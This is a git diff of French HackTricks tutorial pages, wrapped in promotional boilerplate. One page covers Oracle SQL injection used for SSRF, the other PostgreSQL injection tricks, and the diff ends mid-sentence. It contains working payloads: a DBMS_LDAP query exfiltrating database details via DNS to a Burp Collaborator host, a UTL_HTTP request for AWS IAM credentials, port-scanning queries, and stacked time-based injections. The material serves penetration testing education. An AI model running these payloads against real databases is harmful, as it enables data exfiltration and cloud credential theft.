* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,35 +2,37 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Servez une copie de cette publication à partir d'une machine à remonter le temps du post supprimé de [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
|
||||||
|
|
||||||
## SSRF
|
## SSRF
|
||||||
|
|
||||||
Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté, mais comme moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour faire d'autres SSRF/XSPA.
|
Utiliser Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documenté, mais comme moyen d'exfiltrer des données SQL dans des injections. Nous pouvons toujours modifier ces techniques/fonctions pour effectuer d'autres SSRF/XSPA.
|
||||||
|
|
||||||
Installer Oracle peut être vraiment pénible, surtout si vous voulez configurer rapidement une instance pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a orienté vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large avec Docker.
|
Installer Oracle peut être vraiment douloureux, surtout si vous voulez configurer rapidement une instance pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a dirigé vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large et Docker.
|
||||||
|
|
||||||
J'ai exécuté la commande docker avec le drapeau `--network="host"` afin de pouvoir simuler Oracle comme une installation native avec un accès réseau complet, pour la durée de ce billet de blog.
|
J'ai exécuté la commande docker avec le drapeau `--network="host"` pour pouvoir imiter Oracle comme une installation native avec un accès réseau complet, pour la durée de ce billet de blog.
|
||||||
```
|
```
|
||||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||||
```
|
```
|
||||||
#### Paquets Oracle prenant en charge une spécification d'URL ou de nom d'hôte/numéro de port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
#### Packages Oracle prenant en charge une URL ou une spécification Nom d'hôte/Numéro de port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||||
|
|
||||||
Pour trouver des paquets et des fonctions qui prennent en charge une spécification d'hôte et de port, j'ai effectué une recherche Google sur la [Documentation en ligne de la base de données Oracle](https://docs.oracle.com/database/121/index.html). Plus précisément,
|
Afin de trouver des packages et des fonctions prenant en charge une spécification de nom d'hôte et de port, j'ai effectué une recherche sur Google dans la [Documentation en ligne d'Oracle Database](https://docs.oracle.com/database/121/index.html). Plus précisément,
|
||||||
```
|
```
|
||||||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||||||
```
|
```
|
||||||
La recherche a donné les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des communications sortantes) :
|
La recherche a renvoyé les résultats suivants (tous ne peuvent pas être utilisés pour effectuer des requêtes sortantes sur le réseau) :
|
||||||
|
|
||||||
* DBMS\_NETWORK\_ACL\_ADMIN
|
* DBMS\_NETWORK\_ACL\_ADMIN
|
||||||
* UTL\_SMTP
|
* UTL\_SMTP
|
||||||
|
@ -47,19 +49,19 @@ La recherche a donné les résultats suivants (tous ne peuvent pas être utilis
|
||||||
* DBMS\_STREAMS\_ADM
|
* DBMS\_STREAMS\_ADM
|
||||||
* UTL\_HTTP
|
* UTL\_HTTP
|
||||||
|
|
||||||
Cette recherche sommaire omet évidemment des packages comme `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous redirige simplement vers un [autre emplacement](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être détournés pour effectuer des requêtes sortantes que j'aurais pu manquer.
|
Cette recherche sommaire omet évidemment des packages comme `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous redirige simplement vers un [emplacement différent](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Par conséquent, il peut y avoir d'autres packages Oracle qui peuvent être utilisés de manière abusive pour effectuer des requêtes sortantes que j'aurais pu manquer.
|
||||||
|
|
||||||
Dans tous les cas, examinons certains des packages que nous avons découverts et listés ci-dessus.
|
En tout cas, examinons certains des packages que nous avons découverts et énumérés ci-dessus.
|
||||||
|
|
||||||
**DBMS\_LDAP.INIT**
|
**DBMS\_LDAP.INIT**
|
||||||
|
|
||||||
Le package `DBMS_LDAP` permet d'accéder aux données des serveurs LDAP. La fonction `init()` initialise une session avec un serveur LDAP et prend un nom d'hôte et un numéro de port en argument.
|
Le package `DBMS_LDAP` permet d'accéder aux données des serveurs LDAP. La fonction `init()` initialise une session avec un serveur LDAP et prend un nom d'hôte et un numéro de port en argument.
|
||||||
|
|
||||||
Cette fonction a été documentée auparavant pour montrer l'exfiltration de données via DNS, comme ci-dessous
|
Cette fonction a déjà été documentée pour montrer l'exfiltration de données via DNS, comme ci-dessous
|
||||||
```
|
```
|
||||||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||||||
```
|
```
|
||||||
Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port en tant qu'arguments, vous pouvez également l'utiliser comme un scanner de ports.
|
Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port en tant qu'arguments, vous pouvez l'utiliser pour fonctionner comme un scanner de ports également.
|
||||||
|
|
||||||
Voici quelques exemples
|
Voici quelques exemples
|
||||||
```
|
```
|
||||||
|
@ -68,13 +70,13 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
|
||||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
|
||||||
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||||
```
|
```
|
||||||
Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indique que le port est fermé tandis qu'une valeur de session indique que le port est ouvert.
|
Une `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indique que le port est fermé alors qu'une valeur de session indique que le port est ouvert.
|
||||||
|
|
||||||
**UTL\_SMTP**
|
**UTL\_SMTP**
|
||||||
|
|
||||||
Le package `UTL_SMTP` est conçu pour envoyer des e-mails via SMTP. L'exemple fourni sur [le site de documentation Oracle montre comment vous pouvez utiliser ce package pour envoyer un email](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Cependant, pour nous, ce qui est intéressant, c'est la capacité de fournir une spécification d'hôte et de port.
|
Le package `UTL_SMTP` est conçu pour l'envoi d'e-mails via SMTP. L'exemple fourni sur le [site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Pour nous, cependant, l'élément intéressant est la possibilité de spécifier un hôte et un port.
|
||||||
|
|
||||||
Un exemple rudimentaire est montré ci-dessous avec la fonction `UTL_SMTP.OPEN_CONNECTION`, avec un délai d'attente de 2 secondes
|
Un exemple rudimentaire est présenté ci-dessous avec la fonction `UTL_SMTP.OPEN_CONNECTION`, avec un délai d'attente de 2 secondes.
|
||||||
```
|
```
|
||||||
DECLARE c utl_smtp.connection;
|
DECLARE c utl_smtp.connection;
|
||||||
BEGIN
|
BEGIN
|
||||||
|
@ -88,13 +90,13 @@ BEGIN
|
||||||
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
|
||||||
END;
|
END;
|
||||||
```
|
```
|
||||||
Un `ORA-29276: transfer timeout` indique que le port est ouvert mais aucune connexion SMTP n'a été établie, tandis qu'un `ORA-29278: SMTP transient error: 421 Service not available` indique que le port est fermé.
|
Un `ORA-29276: délai de transfert dépassé` indique que le port est ouvert mais aucune connexion SMTP n'a été établie, tandis qu'un `ORA-29278: erreur transitoire SMTP: 421 Service non disponible` indique que le port est fermé.
|
||||||
|
|
||||||
**UTL\_TCP**
|
**UTL\_TCP**
|
||||||
|
|
||||||
Le package `UTL_TCP` et ses procédures et fonctions permettent [une communication basée sur TCP/IP avec des services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). S'il est programmé pour un service spécifique, ce package peut facilement devenir une voie d'entrée dans le réseau ou effectuer des requêtes côté serveur complètes, car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.
|
Le package `UTL_TCP` et ses procédures et fonctions permettent [la communication basée sur TCP/IP avec des services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). S'il est programmé pour un service spécifique, ce package peut facilement devenir un moyen d'accès au réseau ou effectuer des requêtes côté serveur complet car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.
|
||||||
|
|
||||||
L'exemple [sur le site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute afin de récupérer une page web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Nous pouvons le simplifier encore un peu et l'utiliser pour faire des requêtes à l'instance de métadonnées par exemple ou à un service TCP/IP arbitraire.
|
L'exemple [sur le site de documentation d'Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute pour récupérer une page web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Nous pouvons le simplifier un peu plus et l'utiliser pour effectuer des requêtes vers l'instance de métadonnées par exemple ou vers un service TCP/IP arbitraire.
|
||||||
```
|
```
|
||||||
set serveroutput on size 30000;
|
set serveroutput on size 30000;
|
||||||
SET SERVEROUTPUT ON
|
SET SERVEROUTPUT ON
|
||||||
|
@ -134,32 +136,34 @@ END;
|
||||||
utl_tcp.close_connection(c);
|
utl_tcp.close_connection(c);
|
||||||
END;
|
END;
|
||||||
```
|
```
|
||||||
**UTL\_HTTP et Requêtes Web**
|
Intéressant, en raison de la capacité à créer des requêtes TCP brutes, ce package peut également être utilisé pour interroger le service de métadonnées de l'instance de tous les fournisseurs de cloud, car le type de méthode et les en-têtes supplémentaires peuvent tous être transmis dans la requête TCP.
|
||||||
|
|
||||||
Peut-être la technique la plus commune et la plus documentée dans chaque tutoriel sur l'Injection SQL Oracle Out of Band est le [package `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ce package est défini par la documentation comme - `Le package UTL_HTTP permet de réaliser des appels au protocole de transfert hypertexte (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.`
|
**UTL_HTTP et les requêtes Web**
|
||||||
|
|
||||||
|
Peut-être la technique la plus courante et largement documentée dans tous les tutoriels sur l'injection SQL Oracle hors bande est le [package `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ce package est défini par la documentation comme - `Le package UTL_HTTP effectue des appels Hypertext Transfer Protocol (HTTP) depuis SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.`
|
||||||
```
|
```
|
||||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||||
```
|
```
|
||||||
Vous pourriez également utiliser ceci pour effectuer un balayage de ports rudimentaire avec des requêtes telles que
|
Vous pouvez également utiliser ceci pour effectuer un balayage de ports rudimentaire avec des requêtes comme suit
|
||||||
```
|
```
|
||||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||||
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
|
||||||
```
|
```
|
||||||
Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` indique que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert.
|
Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` est un signe que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert.
|
||||||
|
|
||||||
Un autre package que j'ai utilisé par le passé avec un succès variable est la [méthode `GETCLOB()` du type abstrait Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et offre un support pour le protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL sous forme de [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
Un autre package que j'ai utilisé dans le passé avec un succès varié est la méthode [`GETCLOB()` du type abstrait Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et offre un support pour le protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL en tant que [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,40 +2,38 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Astuce pour les chasses aux bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme premium de chasse aux bugs créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
**Conseil de prime de bug** : **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour des pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
**Cette page vise à expliquer différents astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données postgresql et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
**Cette page vise à expliquer différentes astuces qui pourraient vous aider à exploiter une injection SQL trouvée dans une base de données PostgreSQL et à compléter les astuces que vous pouvez trouver sur** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||||
|
|
||||||
## Interaction réseau - Élévation de privilèges, Scanner de ports, divulgation de réponse au défi NTLM & Exfiltration
|
## Interaction réseau - Élévation de privilèges, Scanner de ports, divulgation de la réponse au défi NTLM et Exfiltration
|
||||||
|
|
||||||
**`dblink`** est un **module PostgreSQL** qui offre plusieurs options intéressantes du point de vue de l'attaquant. Il peut être utilisé pour **se connecter à d'autres instances PostgreSQL** ou effectuer des **connexions TCP**.\
|
Le module **PostgreSQL `dblink`** offre des capacités pour se connecter à d'autres instances PostgreSQL et exécuter des connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'élévation de privilèges, le balayage de ports et la capture de la réponse au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||||
**Ces fonctionnalités** ainsi que la fonctionnalité **`COPY FROM`** peuvent être utilisées pour **élever les privilèges**, effectuer des **scans de ports** ou récupérer des **réponses au défi NTLM**.\
|
|
||||||
[**Vous pouvez lire ici comment réaliser ces attaques.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)
|
|
||||||
|
|
||||||
### **Exemple d'exfiltration utilisant dblink et des objets volumineux**
|
### **Exemple d'exfiltration utilisant dblink et les grands objets**
|
||||||
|
|
||||||
Vous pouvez [**lire cet exemple**](dblink-lo_import-data-exfiltration.md) pour voir un exemple de CTF de **comment charger des données à l'intérieur d'objets volumineux puis exfiltrer le contenu des objets volumineux à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`.
|
Vous pouvez [**lire cet exemple**](dblink-lo\_import-data-exfiltration.md) pour voir un exemple de CTF de **comment charger des données à l'intérieur de grands objets et ensuite exfiltrer le contenu des grands objets à l'intérieur du nom d'utilisateur** de la fonction `dblink_connect`.
|
||||||
|
|
||||||
## Attaques PostgreSQL : Lecture/écriture, RCE, privesc
|
## Attaques PostgreSQL : Lecture/écriture, RCE, élévation de privilèges
|
||||||
|
|
||||||
Vérifiez comment compromettre l'hôte et élever les privilèges à partir de PostgreSQL dans :
|
Consultez comment compromettre l'hôte et escalader les privilèges à partir de PostgreSQL dans :
|
||||||
|
|
||||||
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
||||||
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
||||||
|
@ -43,14 +41,14 @@ Vérifiez comment compromettre l'hôte et élever les privilèges à partir de P
|
||||||
|
|
||||||
## Contournement de WAF
|
## Contournement de WAF
|
||||||
|
|
||||||
### Fonctions de chaînes de caractères PostgreSQL
|
### Fonctions de chaînes PostgreSQL
|
||||||
|
|
||||||
Manipuler des chaînes de caractères pourrait vous aider à **contourner des WAFs ou d'autres restrictions**.\
|
La manipulation de chaînes pourrait vous aider à **contourner les WAF ou d'autres restrictions**.\
|
||||||
[**Sur cette page**](https://www.postgresqltutorial.com/postgresql-string-functions/) **vous pouvez trouver des fonctions de chaînes de caractères utiles.**
|
[**Sur cette page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**vous pouvez trouver quelques fonctions de chaînes utiles.**
|
||||||
|
|
||||||
### Requêtes empilées
|
### Requêtes empilées
|
||||||
|
|
||||||
Rappelez-vous que postgresql supporte les requêtes empilées, mais plusieurs applications généreront une erreur si 2 réponses sont retournées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via l'injection temporelle :
|
Rappelez-vous que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via l'injection de temps :
|
||||||
```
|
```
|
||||||
id=1; select pg_sleep(10);-- -
|
id=1; select pg_sleep(10);-- -
|
||||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||||
|
@ -59,19 +57,19 @@ id=1; select pg_sleep(10);-- -
|
||||||
|
|
||||||
**query\_to\_xml**
|
**query\_to\_xml**
|
||||||
|
|
||||||
Cette fonction retournera toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne :
|
Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne :
|
||||||
```sql
|
```sql
|
||||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||||
```
|
```
|
||||||
**database\_to\_xml**
|
**database\_to\_xml**
|
||||||
|
|
||||||
Cette fonction va exporter l'intégralité de la base de données au format XML en une seule ligne (faites attention si la base de données est très volumineuse car vous pourriez provoquer un DoS sur celle-ci ou même sur votre propre client) :
|
